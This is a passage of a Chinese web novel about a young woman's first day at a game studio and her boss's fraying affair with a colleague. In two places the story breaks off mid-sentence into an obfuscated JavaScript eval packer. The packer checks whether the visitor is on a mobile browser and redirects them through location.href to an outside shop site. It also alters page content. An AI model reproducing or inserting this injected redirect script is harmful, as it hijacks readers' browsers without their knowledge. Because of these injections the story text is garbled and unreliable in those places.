池修白:“没什么背景,跟我妈认识,很久远的事了。” 江弘深点点头,没有追问,就算他情商再低,也知道继续深入打探老板的隐私总归不好。 两人继续刚才的商讨,池修白交代完优化注意事项后,江弘深离开办公室,他也投入到工作中。 没过几分钟,田妙妙又发来信息:【请问我哪天报道?】 池修白非常讨厌无足轻重的小事,打扰他的工作状态,脸色臭得厉害,忍不住翻了个白眼:【周一八点,还有其他要问的吗?】 田妙妙其实还想问,入职之后会给她安排什么工作?但池修白的话,表面上看着比较礼貌,其实潜台词在说——你这人怎么那么多事,能不能别来烦我? 遂果断改口:【谢谢告知,没有别的事了。】刷脸也得找合适的时机才行。 池修白:【好。】 放下手机后,池修白把田妙妙设置成免打扰状态,实际上他更想把她删掉,但暂时没有合适的理由。 且删掉之后她会向陈女士打小报告,还是留着吧。 * 田妙妙在去工作室报道之前,恶补了一些游戏行业的基础知识,关于游戏开发的流程以及相关岗位。 程序岗和美术岗,专业性要求很高,需要扎实的编程知识或者美术功底,不是短时间内能速成掌握的,田妙妙暂时pass掉这两个岗位。 至于策划岗,负责设计游戏的玩法、系统、内容等,不仅需要很深的游戏理解,还要具备想象力和创新能力。 设计玩法、关卡、战斗系统之类的,田妙妙不太懂,但她对于设计游戏世界观和剧情挺感兴趣的,或许她可以尝试文案策划相关? 但理性告诉她,池修白绝对不会把她安排进策划岗,最多去运营岗或是市场岗,负责一些琐碎的事,接触不到游戏制作的部分。 然而,如果不参与游戏制作,积累不到专业相关经验和知识,很难提升自身能力,后续可替代性太高了。 无论如何,她都得往游戏制作相关岗位上转,必须要用下班后的时间,自学游戏制作相关内容,争取上手开发一款独立小游戏,这样就能有底气向池修白提出转岗。 她给自己定下了目标,用一年时候做出自己的独立游戏,不需要多成功,只要能玩就行。 设置完目标后,田妙妙热血沸腾。她自己都觉得不可思议,她一个对游戏什么都不懂的人,居然要亲手做出一款游戏欸! 这简直应了那句老话,还没学会走就想着跑了。 田妙妙咨询陈驰之目标实现的可能性:【你这么喜欢玩游戏,有没有尝试自己做过游戏?】 陈驰之:【独立制作吗?好像没有,不过有参加比赛时,和别人组队做出的游戏。】 田妙妙:【什么比赛?】 陈驰之:【GGJ】 田妙妙:【这是什么?听起来不明觉厉。】 陈驰之:【GlobalGameJam,就是一种限时游戏开发活动,在限定时间内自由组队,围绕特定主题快速制作游戏原型。】 田妙妙:【听起来好有意思啊,等我学会做游戏之后,我也要参加一次。】 陈驰之:【GGJ一般每年一月举办,下次带你一起啊。】 田妙妙:【好好好,求大神带飞[/跪]。】 陈驰之:【好说好说,明天报道见。】 田妙妙:【明天见。】 * 第二天,田妙妙特意起的比以前早半小时,换上池修白送她的裙子,洗漱完开始化妆。 毕竟是第一次报道,还是化个妆更显尊重,也能让自己看起来更成熟,更职场一点。 收拾妥当后,她带上了昨晚提前准备好的第二天的午饭。CBD周围的外卖肯定很贵,还是自己带饭健康、卫生还省钱。好吧,省钱才是最重要的。 田妙妙7点半出门,预留了30分钟,按理说是够了,但是她低估了早高峰的拥挤程度,从地铁站出来后,只剩下了五分钟。 离工作室还有一千米,地铁口一辆剩余的共享单车都没有,意味着她得用体测跑八百米的速度狂奔,才有可能不迟到。 田妙妙心里极度崩溃,第一天报道她不敢迟到,可也不想把自己搞得这么狼狈,她身上穿的还是裙子呢。 万幸的是,脚上是板鞋,不是高跟凉鞋,不然她就算想跑也跑不了。 田妙妙没有犹豫的时间,只能撒丫子狂奔,什么形象也不在乎了,只顾着蒙头往写字楼方向跑。 池修白驱车从旁驶过,田妙妙飞奔的身影撞进他眼里,很像一只振翅欲飞的白鸽。 呵呵,亏她还提前询问了报道时间,结果还是快要迟到。 以为她会重视这个求来的工作机会,没想到还是没放在心上,该不会以为自己有了陈女士撑腰,就能不把他放在眼里了吧? 必须得让她长个教训。 池修白把车窗一升,疾驰而过,完全没有停下来载她。 田妙妙踩着线进写字楼,等电梯时剧烈喘息,呼吸道有强烈灼烧感,腿脚酸软发抖,强撑着没有一屁股坐地上。 她最讨厌中长跑了,每次跑完感觉快死了一样。 下次一定再早半小时出门,她可不想再经历一次这种痛苦。 电梯从地下车库升上来,开门时,田妙妙一抬眼,看见了池修白。 他今天穿得挺随性,简约的黑T,搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不是吧,她还只是考虑会不会扣工资,结果被警告可能通过不了试用期,田妙妙一下子慌了。 她一着急,手就容易乱抓,情急之下无意识地扯住了池修白的衣摆。 池修白没料到她这么大胆,居然做出如此暧昧出格的举动,不免眉头一紧,甩开她的手,冷声:“注意分寸,和我保持社交距离。” 田妙妙被他嫌恶的反应刺痛了一下,简直把她视作病毒一样甩开,表情冷漠而倨傲。 她窘迫地说:“对不起,我不是故意的,刚才太紧张了,请你不要放在心上,我会好好表现的,请不要开掉我。” “你有价值的话,自然没人开你。”池修白慢条斯理地整理衣摆,田妙妙视线不自觉落在他骨节分明的长指上,手真好看,线条流畅,青筋微凸,既有力量感又不失优雅。 田妙妙从小到大一直都是自信缺失的状态,如果放在以前,她会认为自己没有价值,但现在她迫切想要留下,只能逼着自己一往无前:“我会向你证明自己的价值。” 池修白完全没当回事,他能看出来,她信心不足,连放狠话的声音都是底气不足的,不过敢开口说出来,也不失为一种勇敢。 “拭目以待。”他平淡地应道。 话音刚落,电梯开门,田妙妙只想逃离这个让她手足无措的地方,垂着头快速溜走。 池修白看着她仓皇狼狈的背影,无奈地摇了摇头,这姑娘的职场情商简直为负,连让老板先走的基本礼节都没有。 田妙妙走进问天工作室,看见和她一样新入职的员工聚集在一起,她靠过去混入其中。 陈驰之看见了她,过来打招呼:“早。” 田妙妙尴尬:“不早了,我差点迟到。” 陈驰之:“来得早也没用,我在这里等半个小时了,也没人来安排我们接下来的去向。” 田妙妙轻轻舒了一口气,看来她没错过什么重要的内容。 池修白从一旁经过时,陈驰之用眼神示意田妙妙:“你来的真巧,跟白神前后脚到。” 田妙妙没敢回头,讪讪笑了下:“哈哈是吗?” 池修白看见新入职的员工聚集在一起,大厅和走廊处于混乱无序状态,眉头深拧,姜星怎么安排的,今天新员工入职这么重要的时间点,为什么还没过来? 这些游戏开发之外的事项全是姜星一手操办,完全不需要他费心,久而久之,他已经习惯她把工作室打理得井井有条,乍然发现她不在时,难免有些不适应。 池修白对着来报道的新人说:“你们先去会议室等一下,过会儿我叫各组组长过去。” 有一个男生勇敢发言:“白神我能分到你的组吗?我特地为你来的问天。” 池修白微笑道:“你们基本上都会去无限异变项目组,至于能不能直接到我手底下,还得看你们的试用期表现,大家努力。” 田妙妙心中一喜:既然都会去正在研发的新项目组,那她是不是也能参与其中?感觉问天工作室应该挺缺人手的,或许她这个小白也有边干边学的机会。 11. 第 11 章 池修白说完后,干脆利落离开人群,进了办公室,紧接着联系姜星。 拨通电话后,他压着怒火问:“怎么还没过来?” “看来你是一点都不关心我啊,我在朋友圈发了高烧的图片,你是一点都没看到。”姜星的话中满是委屈和怨怼,生病让她没有往日的谨慎和恭顺,更多的是想发泄长期以来的不满情绪。 “生病为什么不直接跟我请假?”池修白这才点开朋友圈,看见了姜星凌晨发的温度计图片。 “因为我不自量力,因为我异想天开,因为我还对你抱有期望,以为你会来关心关心我,没想到等来的只有问责,工作室现在是乱成套了?所以你想起我来了?”姜星越说越哽咽。 “你在哪?正在输液吗?结束的时候联系我,我去接你。”池修白态度柔和下来,他对姜星的关怀确实不够。 姜星气极反笑:“你每次都是这样,非要等别人彻底绝望之后,你才会示好,你干脆绝情到底,永远不要给我留下任何的希望。” “大家都是成年人了,所谓的希望不希望,还不都在于自己怎么想,一味钻牛角尖很累。”池修白叹了口气:“当然,现在不是讲道理的时候,我们也不是讲道理的关系。” “对,永远都是我没道理,怪我想要的太多。”姜星气愤地挂断电话。 池修白没有重拨过去,立刻投入到工作中,叫来了策划、程序、美术各组组长,将新入职的人员情况告知他们,让他们自己去会议室领人。 策划组长宋雅容着装朴素,脸上戴着黑框眼镜,很有书卷气的一位才女。她拿到分到自己组里的两个人的简历,大致翻看了眼,略有点失望:“看上去没有一个鬼马精灵的。” “人不可貌相,要是光看你的外表,你也不像是搞创意的,更像个一板一眼的文员。”程序组组长江弘深接话道:“说不定工作一段时间,你就能发现有些人符合你的期望了。” 宋雅容瞪他:“关你什么事,每回我说话你就插嘴。” 江弘深委屈:“你怎么老凶我?” 宋雅容翻了一个白眼,她以前也是光希的员工,在原公司就跟江弘深有点不对付,本以为到了问天之后,再也不会遇到他了,哪知道今年江弘深也过来了,真是阴魂不散。 “你俩别拌嘴,凑一块儿就吵。”池修白出言打断两人,他看向美术组组长裴文山:“你呢,有什么想说的,就属你要人要得最厉害。” 裴文山耸了耸肩:“我还嫌不够。” 池修白:“你先用着,实在缺人手,到时候把一部分美术需求外包出去。” 裴文山:“外包那些做出来的我不太满意,还得我重新返工,有些画手个人特色太鲜明,就算给出详细的参考风格,画的还是我行我素,要不是赶工期,我真不乐意外包出去。” “可能会延期。”池修白说。 江弘深没反应,他知道什么个情况,但宋雅容和裴文山倒是诧异,宋雅容问:“为什么,感觉一切进行的挺稳当的。” 池修白解释:“优化的事,还是不能操之太急,优化做不好其他内容做的再完善,在玩家眼里都像个半成品。” 裴文山:“要我说优化这事,还不如直接砍掉移动端,只做高性能pc端,不然越优化,美术呈现的效果越不理想,我们建模的那些细节玩家根本看不到,白瞎美术组的心血。” 通常情况下为了操作流畅,会牺牲画面精度,美术组的成果容易被掩盖。 池修白直接否定了裴文山的建议:“不可能的,砍移动端可不是砍条腿那么简单,相当于砍到了大动脉,上限基本定死了。” “是,我知道,我说的就是气话。”裴文山摆了摆手,他和池修白关系很好,能开得起玩笑,所以才口无遮拦。 池修白:“你们去领人吧,不然新人等急了。” 江弘深多嘴问了句:“就直接领走就完了?新员工欢迎会、入职培训什么的也没有?” “这些等姜星来了再说。”池修白捏了捏眉头。 江弘深纳闷:“对哦,姜星咋还没来?早上看那么多新人杵在那边,我还怪不适应的。” “生病去医院输液了,你没看到她发的朋友圈?”池修白反问。 江弘深:“什么朋友圈?” 裴文山插话,打趣起来:“我也没看到,该不会是仅你可见吧。” “你们真无聊,比长舌妇还能八卦,我先走了。”宋雅容鄙视这两人,她对姜星观感很好,又同为女性,所以不想听见别人背后编排她,率先离开。 “谁无聊了,我也走了。”江弘深紧随其后,在跟宋雅容对着干这件事上,他一向很热衷。 办公室里只剩下池修白和裴文山,气氛有些诡异的安静。 裴文山道:“姜星她是不是要走?我感觉她最近状态不对。” “嗯。”池修白淡淡的笑了下,他道:“你们私底下都怎么看待我跟她的?” “宋雅容觉得你们俩能走到最后,我觉得完全不可能,感觉你们根本不像真正的情侣,更多的是饮食男女寂寞结合。”裴文山直白地感慨说:“感觉你比我还渣。” 池修白眼皮剧烈跳了下,反省自己:“我是不该吃窝边草的。” “不是窝边草的问题,是你完全不走心,就算我恋爱谈得多,但是每段感情我都是动真心的,分手也真的会痛彻心扉,难受个把月,但你绝对不会这样,你很吝啬给予爱。”裴文山抱着手臂,理性地分析他。 “是吗?可能当局者迷吧,情爱难道不就是让人放松的吗,需要那么全情投入吗,这样不会影响到工作和生活?” “你把爱情想得太次了,远远排在工作生活之后,其实有时候投入爱河的感觉还是很美妙的,那种情绪被另一个人左右的感觉很让人上瘾,那种失控感、患得患失的感觉很刺激的。”裴文山分享自己的经验,并告诫池修白:“如果一个人的情绪一直淡淡的,久而久之会丧失感知力的,爱情的苦该吃还得吃,说不定吃完还想吃呢。” 池修白很不理解:“我讨厌失控,为什么要让自己处于患得患失的状态,感觉像在自虐。” 裴文山一拍巴掌,恍然大悟:“你说对了,爱情就是一种甜蜜的自虐。” “简直有病。”池修白轻蔑嗤笑:“现代人过得太舒坦了,才会想不开吃爱情的苦。” “其实不然,就是因为过得舒坦,才会想去追寻情绪的波动,心甘情愿吃爱情的苦。人在温饱线上挣扎时,才是最不可能考虑爱情的。”裴文山一针见血指出:“我看你就是太自负了,你只是觉得这世界上没有哪个女人值得你付出感情罢了。” “或许吧。”池修白不认可,也不否认。 裴文山啧啧两声,一脸看好戏的表情:“通常你这种人,一旦打起脸来,会输得很惨的。” “赶紧滚,我没空大白天的,在办公室里跟一男人谈论什么狗屁爱情。”池修白直接把不靠谱的裴文山打发走。 * 会议室中,新员工热切地交流着。 一位穿着层层叠叠的lo裙,看起来像个小蛋糕的姑娘坐在田妙妙身边。 她性子活泼,一坐下就主动和田妙妙攀谈起来:“我叫顾念瑶,学美术的,你呢?不知道能不能和你分到一个部门。” 田妙妙:“我叫田妙妙,我不是美术生,可能没法和你一组了。” 顾念瑶呜呜两声,不舍道:“好可惜哦,不过策划也挺好的,我其实也想去策划,感觉那才是真正做游戏的部门。” 田妙妙摇头:“我也不是策划。” 顾念瑶一下张大嘴,震惊:“天啊,你学计算机的?居然有这么漂亮的工科女生。” 田妙妙继续摇头:“没有,我也不懂程序啦,我可能会去运营或者市场。” 顾念瑶依旧很捧场:“挺好的,挺好的。” “你是为什么想来问天的?”顾念瑶好奇问她。 田妙妙很笼统地搪塞过去:“误打误撞,入职问天在我的计划之外。你呢?” “我啊,我父母是想让我进体制的,但我还是喜欢自由无拘束,而且我也蛮喜欢玩游戏,就来问天了。不过我一开始是想去云辰的,毕竟是大厂嘛,可惜竞争太激烈了,面到最后一轮还是被刷了。” 田妙妙安慰她:“没关系,骑驴找马嘛,以后有机会再跳槽去云辰。” “嘿嘿,看情况啦,如果在问天待的开心我就不去云辰了,而且我发现问天的帅哥好多哦,感觉留下来也不错呢。”顾念瑶神采飞扬地笑起来,她是圆脸长相,就算一脸花痴相也很可爱。 没过多久,会议室陆陆续续来了三个人,将新员工带走。 美术组长裴文山进来时,顾念瑶兴奋得直抓田妙妙手臂,激动之情溢于言表:“哇塞,这就是我的组长唉,狐狸眼哎,好帅哦,感觉桃花很多的样子。” 田妙妙高兴不起来,因为等顾念瑶那几人走后,她就成唯一剩下来的那个。 顾念瑶:“他叫我我名字了,我要走了,等中午再联系你呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097000|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 田妙妙连连点头:“嗯嗯,你过去吧。” 方才还热闹的会议室,此时一下子空旷下来,唯有田妙妙孤零零一个人。 什么嘛,她到底被分配到哪个部门了?怎么还没有人来接她呢? 宛如超市菜架上一颗正在甩卖的小白菜,可怜兮兮等着卖家到来。 左等右等还是不见人,田妙妙已经朝会议室大门看了一百零八遍。 她顿时生出不好的预感,自己该不会被遗忘了吧? 她实在也无法等下去了,鼓起勇气踏出会议室,去找池修白讨个说法。 站在池修白的办公室前,田妙妙举起手又放下,她深呼吸三次,才敲响了办公室的门扉。 “进。”低沉的男声响起。 田妙妙推门而入。 池修白正全神贯注地盯着电脑屏幕,修长的手指覆在键盘上,噼里啪啦地敲击着。 他完全没有抬头,连一个眼神也没投递过来。 惨遭池修白的无视,田妙妙好不容易鼓起的勇气烟消云散。 还是等他忙完手中的工作事项再开口吧,万一打扰了他的工作,自己保不齐要挨骂。 田妙妙就这么傻不拉叽地站在池修白的办公室中,静静地等他忙完,腾出注意力来。 然而,她根本就对池修白的工作状态毫无概念,他专注时,可以保持同一个姿势,聚精会神工作四小时以上。 池修白看不惯田妙妙扭扭捏捏、吞吞吐吐,想说又不敢说的样子,向老板报告事情搞得跟告白似的。 既然她不主动开口,那就这么晾着她。 在职场上,所有事情都是你主动争取,才可能有机会,等待退让并不会有任何助益,没人会感恩,只会觉得这是你应该做的。 田妙妙站了半小时,腿有点酸,可又不知道该怎么开口。 凡事都是一鼓作气,再而衰,三而竭,她已经出师不利,此刻更像是陷在这儿了,进退两难。 既然如此,那不如坐着等,田妙妙悄悄挪动脚步,去一旁待客沙发上坐下。 她甚至希望这个举动,能吸引到池修白的注意力,只要他开口训斥她,她就有机会询问自己的工作安排。 哪知道,池修白完全是个变态机器人,虽然敲击键盘的手速略慢下来,删删改改的,但精力却丝毫没有半点分散。 真的有人是天生工作狂吗?怎么连口水都不喝的,医学研究表明,久坐有危害的! 想到喝水,田妙妙有了想法,她去给他倒一杯水,这样不就能顺理成章地让他停下工作,听她说话了? 说干就干,田妙妙起身,靠近他的办公桌,去拿杯子,刚一碰到杯子,池修白立马发话了。 “干什么?别乱碰我东西。” 田妙妙身躯一颤,触电般缩回手,讪讪道:“我……我想给你倒杯水的。” 池修白抬眸平静地望着她:“有事说事,还指望老板主动了解你的困境吗?” 田妙妙快速说道:“我不知道自己被分配到哪个组了?一直都没人来接我。” 池修白捏了捏山根,忘了这茬:“你组长今天生病了,还没来。” 田妙妙长长舒了一口气:“太好了。” 池修白噗嗤一声被逗了:“怎的,你盼着人生病?” “当然不是,我以为你没给我安排工作呢,原来只是组长还没到。”田妙妙继续问:“组长什么时候回来呀?我现在需要做什么?” “你现在能做什么?一边等着去。”池修白只想把她打发走。本来招收她,就是为了应付陈女士,完全不指望田妙妙能有什么贡献,不犯错、不拖后腿就行了。 田妙妙说:“那总得告诉我去哪里等着吧?总不能一直在会议室吧。” 池修白做了个送客的手势:“不想待在会议室,你就随便转转,工作室确实没有多余闲人专门接待你。” 田妙妙又不是什么自来熟的人,让她第一天独自在各办公区域间穿梭,主动了解工作室情况,实在是强人所难,还不如回会议室等着呢。 “我知道了。”田妙妙退出了池修白办公室。 她原路返回会议室,推开门,里面竟被人占用了,正在开会中,田妙妙吓得赶紧合上门。太尴尬了。 现在会议室是回不去了,也没其他能去的地方,田妙妙只能厚着脸皮,再度敲响池修白的办公室门。 “进来。” 看见来人后,池修白眉头紧锁,不耐烦道:“你又怎么了?” 12. 第 12 章 田妙妙在进门前就做好心里建设,对池修白的质问没有太难堪,硬着头皮回道:“会议室里有人在开会,我没有能去的地方了,只能来这里等。” 她小声地补了句:“我就只认识你了。”声音又轻又糯,听起来像淋雨之后,瑟瑟发抖的小猫咪。 池修白压下火气,语气尽量平缓:“工作室里有茶水间、休息室、健身房,还有咖啡厅,这些地方你都能去。” “哦。”田妙妙完全不知道,工作室里还有这些休闲场所。 “至于这些地方在哪,也要我亲自带你过去吗?”池修白注视着她,视线不冷不热,跟他这个人一样。 田妙妙连连摇头:“不用,不用,我马上出去。等我组长来了之后,工作上的事有人解答了,我就绝不会再来打扰你的。”她想表达的是,现在她是没人管的特殊情况,不是存心刷存在感的。 池修白微微顿首:“行了,你出去吧。” 田妙妙火速退出办公室。 实木桌面上的手机发出消息提示音,池修白垂眸,是姜星的信息。 还有半小时结束。并配了张还剩一半药水的输液吊瓶。 池修白快速回:【嗯,等我。】 池修白离开办公室,去电梯的路上,遇上了左顾右盼,行为举止颇有些鬼鬼祟祟的田妙妙。 田妙妙回头看见他时,满脸欣喜,以及一丝受宠若惊的羞赧。 她朝他笑:“你不用专门来给我指路,我慢慢找就好了。” 池修白:“让一下,别挡我路。” “哦哦,抱歉。”得知自己会错了意,田妙妙尴尬爆棚,忙缩着脖子往一旁站。 池修白经过她时,还是开口了:“往前走到头右转是休闲区。” “谢谢。”田妙妙冲着他的后背快速道谢。 池修白去医院前,先去了奢侈品店,快速选购了个包。 他对包不怎么了解,只知道对绝大部分女人来说,包治百病,不知道送什么礼物时,就送一只奢侈品包,有新款拿新款,不然的话就问导购要经典款。 池修白到医院时,姜星已经结束了输液,在导医台处等他。 池修白走过去,伸手探向姜星的额头,还是微烫:“感觉怎么样了?” 姜星闷声,嗓子因病沙哑:“不怎么样。” 池修白牵她的手:“走吧,送你回去休息。” 姜星垂目,视线落在两人相握的手上,意识有些恍惚。这是他第几次主动牵她?一次?两次?反正不超过五次。 她没有甩开他的手,明明知道两人的关系即将走向末路,可还是贪恋这一点点温暖,哪怕是虚假的爱意。 两人一语不发走到停车位。 池修白给姜星拉开副驾驶的门,座位上是香奈儿的黑色手提袋,上面点缀着一朵经典的白色山茶花。 “给我的?” 池修白“嗯”了声,不咸不淡的。 姜星坐进车里,拆开包装盒,是经典的CF大号手袋,“很好看。为什么突然给我送包?分手礼?” “之前听你说,比较难买,正好店里有现货,就顺手带给你了。”池修白说:“我对你关心不够,只能从别的地方弥补。” 姜星轻轻叹了一口气。 不得不说,池修白当男友很不称职,但当情人的话,绝对挑不出一点错,长得帅,又大方,还一点不介入对方生活。只要不走心就好。但很残酷的是,她不仅走心了,还越陷越深,所以才会这么痛苦。 两人一言不发,车内气氛寂静压抑。 仍旧是姜星先开口打破沉默:“不用送我回家,直接回工作室吧,今天新员工报道,事情多。” “好。”池修白修改了导航目的地,停顿片刻后说道:“之前通过的招聘人选里,我又多加了一个。” “谁啊?”姜星警铃大作,内心升腾起不好的预感。 池修白:“你肯定有印象,之前你说她看起来比较能吃苦,任劳任怨。” 预感成真,姜星心窝堵塞难受,“为什么?你不是坚决不收她吗?你从来不是出尔反尔的人,为什么要为她打破原则。” “不好解释,总之就按照你最初的想法来,她被录用了。” 姜星倔强地望向池修白:“要是我的想法改变了呢?你愿意为了我打破原则吗?” “你是一个聪明懂事的人,没必要说这些不成熟的话。”池修白没有和她对视,或许本就心虚。 “呵呵,聪明,懂事,是啊,你和我在一起也不过是因为我比较省心罢了。可我也想任性,我也想你能无条件包容我,但我不敢尝试,我必须要符合你心意,我必须要有价值,才能将这段见不得光的关系维系下去。”姜星语毕,泪流满面。 “没必要把自己放得那么低,我是喜欢省心的女人,但一切都是相互的,没有谁非得为了谁委曲求全。”再说了,美人儿偶尔撒娇耍小性子,他当然可以包容的,只是姜星从没有那样做过,他便以为,她完全看不上那种行径。 “你的意思是,这一切全是我自找的。” “不,我的意思是,我不是良配,不用在我身上浪费时间。” “我就是不甘心。”从小镇做题家一步步走到现在,争强好胜早就刻入姜星的骨髓,在池修白身上,她第一次尝到,一败涂地的滋味。 “你很优秀,这点毋庸置疑,只是感情这种事,一贯是不讲道理的。”池修白叹气:“马上到了,希望踏足工作室的时候,我们恢复到往常的状态好吗?” “如你所愿。”姜星悲从心来:“我有sayno的权利吗?” 池修白没说话,安静开车,缓慢驶入地下车库。 姜星低头看了眼礼品袋上的白色山茶,凉凉地说:“这是你因为她出尔反尔的道歉吗?” “你为什么总强调她?”池修白蹙眉:“单纯送你的,和其他人没关系。” 关田妙妙什么事,他还不至于因为田妙妙感到心虚,她哪够格。 姜星是聪明人,心里清楚,一味强调另一个人,是个得不偿失的昏招。 “好,我就当没她这个人,你决定的事情我没意见。” 池修白停好车,松开安全带,看向姜星:“当没她这个人,这恐怕不行,我已经把她分到你手底下了,你带她,或者安排你手下的人带。” 池修白考虑的很简单,田妙妙既不了解游戏,也不具备任何游戏专业知识以及相关经验,只能安排去市场部或者运营部,这块是姜星一手负责的,而且姜星又快离职,正好补点人手过去填缺。 “你自己破格录用的,干嘛不放在眼皮子底下看着,我怕怠慢了。”姜星酸溜溜地阴阳怪气。 “姜星,难道你觉得,是我对她有意思,所以才破格录用她?”池修白反问。 “你心里怎么想的,我上哪知道?”姜星说:“我一向论迹不论心,现状就是,她进工作室了,且你对她的态度反复无常。” 池修白定定看着她,抽了张纸巾,帮她擦掉眼角积蓄的泪,“你对 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“行了,你组长回来了,你去找她报道吧。”池修白抬手背挥了两下:“就是面试你的那个人。” “好。”田妙妙恭敬鞠躬,退出办公室。 池修白轻轻摇头,工作室强度虽大,但人员年轻、氛围宽松,没见过员工这么拘谨卑微的表现。 田妙妙心跳加速,马上要见到面试时的漂亮姐姐,很难不紧张。对方优秀夺目,简直让人不敢轻易靠近。 田妙妙已经大致摸清了各个组所在的办公区域,问天工作室大概有50人左右,占了一整层的写字楼。 她快步走到姜星的办公室前。和池修白一样,姜星也有自己的单独办公室,但她和员工办公区连在一起,半透明玻璃隔断,不似池修白那种完全隐秘宽敞的单间办公室。 田妙妙刚想敲门,就隐约看见姜星在摔东西,隔音不算特别好,能听见里面的撞击动静。 隐隐的,还有细微哭声。 田妙妙心头大震,什么鬼,组长为什么情绪崩溃了?对了,她好像生病了,肯定是病还没好,就被池修白催来上班,所以心态爆炸了。可以理解。 田妙妙在犹豫要不要进去,里面已经平静下来了,隔着半透明玻璃墙,姜星看到了门外的身影,她整理好声音,道:“进来。” 田妙妙推开门进去。 姜星桌上的办公用品掉了满地,地上还有一只崭新的黑色皮包。 虽然不知道具体价格多少,但也能肯定,绝对是她想都不敢想的东西。 田妙妙弯腰把包捡起来,放到桌子上,“组长,你东西掉了。” “谢谢。”姜星冷不丁说:“池修白送的。” 听到了这么大的八卦,田妙妙思维疯狂发散,难道姜星和池修白有什么不可告人的关系? 可要是真这样的话,她为什么主动说出来,办公室恋情难道不该保密吗?还是说,这已经是一个公开的秘密了? 实在不知道该发表什么看法,田妙妙只能呆呆地“哦”了声。 “你没什么想法吗?”姜星看着田妙妙,短短几天,眼前的女孩就变样了,身上的衣服变成了更有质感的连衣裙,连上也化着妆,和上次来面试的时候差异很大。 要说,这种变化和池修白毫无关系,姜星是不信的,或许这就是女人的第六感。 “就像你身上的衣服一样,也是他送的,对吗?”姜星又补了句。 13. 第 13 章 姜星的问话犹如平地一声雷,田妙妙脊背僵直,一股寒气从脚底钻进来,直冲天灵盖。 姜星怎么会一下子就猜到的,总不能是池修白告诉她的吧,那他也太神经了吧? 可既然一下子就猜到了,再撒谎掩饰似乎也是徒劳,白惹笑话。 田妙妙只得点头。 “好,我知道了。这和你无关,我不会怪你的。”说到底是送东西是池修白的选择,没人能强迫他做不情愿的事。 田妙妙心惊胆颤,完全不敢和姜星对视,甚至莫名有些心虚,好像之前对池修白生出那些不该有的心思,实在是一种罪过。 他们两人男才女貌,看起来很是般配,根本不是她这种普通得不能再普通的女生能横插一脚的。 况且她也没那个胆子。 田妙妙现在唯一的想法就是,希望姜星不要给她小鞋穿,更重要的是,可千万别发现,她还住在池修白提供的房子里。 姜星打断田妙妙的胡思乱想:“不过我一向公私分明,就算你和池修白关系匪浅,工作上也不可以敷衍了事。” 这话让田妙妙不明所以。 啊?怎么成她和池修白关系匪浅了?难道不是你们吗? 可她和池修白的关系还真不好解释,毕竟这涉及对方隐私,她不敢轻易泄露出去。 田妙妙只能听话点头,主动问:“现在需要我做什么吗?” “我这有一份参与线下测试的人员名单,你按照名单发通知吧,务必每一个都要传达到位。”姜星加上田妙妙的微信,将名单发给她。 一上来就领到了工作任务,田妙妙还蛮惊讶的,看来工作室确实很缺人手,至少姜星所在的部门是这样的,让她这个新人第一天就上手干活,按理说不应该先培训培训吗? 可能这件事比较简单,不需要培训吧。 “请问我的办公位在哪?”田妙妙左右看了眼,没有闲置的工位。 “跟我过来。”姜星带着她来到一个靠门很近的工位,上面堆放着成摞的A4纸,废旧打印机,闲置落灰的显示器以及键鼠。 由于工位直冲门,总会有人来往经过,隐秘性很差,没有人愿意坐在这里,已经变成堆放杂物的地方。 姜星吩咐:“你把这块地方收拾出来当工位吧,收拾完之后跟我去仓库,搬一台电脑。” “好的。” 简单草率地安排完田妙妙,姜星带着田妙妙跟其他组员打声招呼,之后就离开了。 田妙妙哼哧哼哧收拾工位。 在她忙活的时候,组里其他人纷纷打量她。 田妙妙也悄悄打量他们。 不愧是游戏公司,员工都好年轻,几乎看不到中年人,全是二三十岁的模样。 而且大家的衣着打扮都很随性,没有她想象中的严肃正经的职场穿搭。要么是简单的体恤短裤,要么是很潮流的很前卫的风格。甚至还有穿痛衣的,白T上印着大大的动漫头像,浓浓的二次元风味。 这让田妙妙的紧张感降低不少,都是年轻人,应该还挺好融入的……吧? 痛衣男率先开口:“我们组居然来新人了?之前没听说哎。” “是的呢,可能组长去要人了。”痛衣男对面的蓝发女搭话。 “大家好,我是新来的田妙妙。”听到对方的交谈,田妙妙只得自己躲不过去,遂开口。 痛衣男朝她挥手:“我是孙正阳。你们这一批都是校招进来的吧?妹妹你哪个学校的?” 被问到学校,田妙妙很是无措,从来没觉得自己的学校这么难以启齿,她尬笑道:“我学校很一般啦,你们肯定没听过,就不说了哈。” “有什么不好意思说的。”孙正阳指了指自己,神情自豪:“我当年还大学肄业呢。”仿佛在说什么了不得的荣誉。 田妙妙受到了鼓舞,既如此,自己应该不是学历最差的,遂报上了学校。 孙正阳闻言皱起眉头,“好吧,确实没听过。” “孙正阳,你用不着反复提及你北大肄业的光辉事迹。”蓝发女损完他后,看向田妙妙,笑容善意:“我叫冯舒,妹妹你不用理会他,他这人就是很贫。” 居然是北大啊,田妙妙错把他当成,成绩比她差的人了,哪知道人家是顶尖名校肄业,还好没闹出什么笑话。 “好厉害啊。”田妙妙捧场道。 冯舒鄙夷地看了眼孙正阳:“你不会就专门等待这一刻的吧?” “你要是嫉妒我你直说。”孙正阳一脸受用的表情,吊儿郎当地回击。 “懒得理你。”冯舒白眼朝天。 田妙妙笑着看两人拌嘴,挺好的,员工间可以互相打趣,说明工作氛围蛮不错的。 “你听没听说,组长马上要走了。”冯舒压低声音:“之前我还不敢相信,但现在看到我们组突然来新人,感觉可信度上升了。” “卧槽,你从哪听来的,我怎么不知道?”孙正阳惊讶叫道。 冯舒狠狠瞪他,咬牙切齿:“你小点声行不行?别喊的大家都听到了” 孙正阳好奇问道:“那你知道谁接替组长吗?是我不?” “你滚远点吧。”冯舒笑骂。 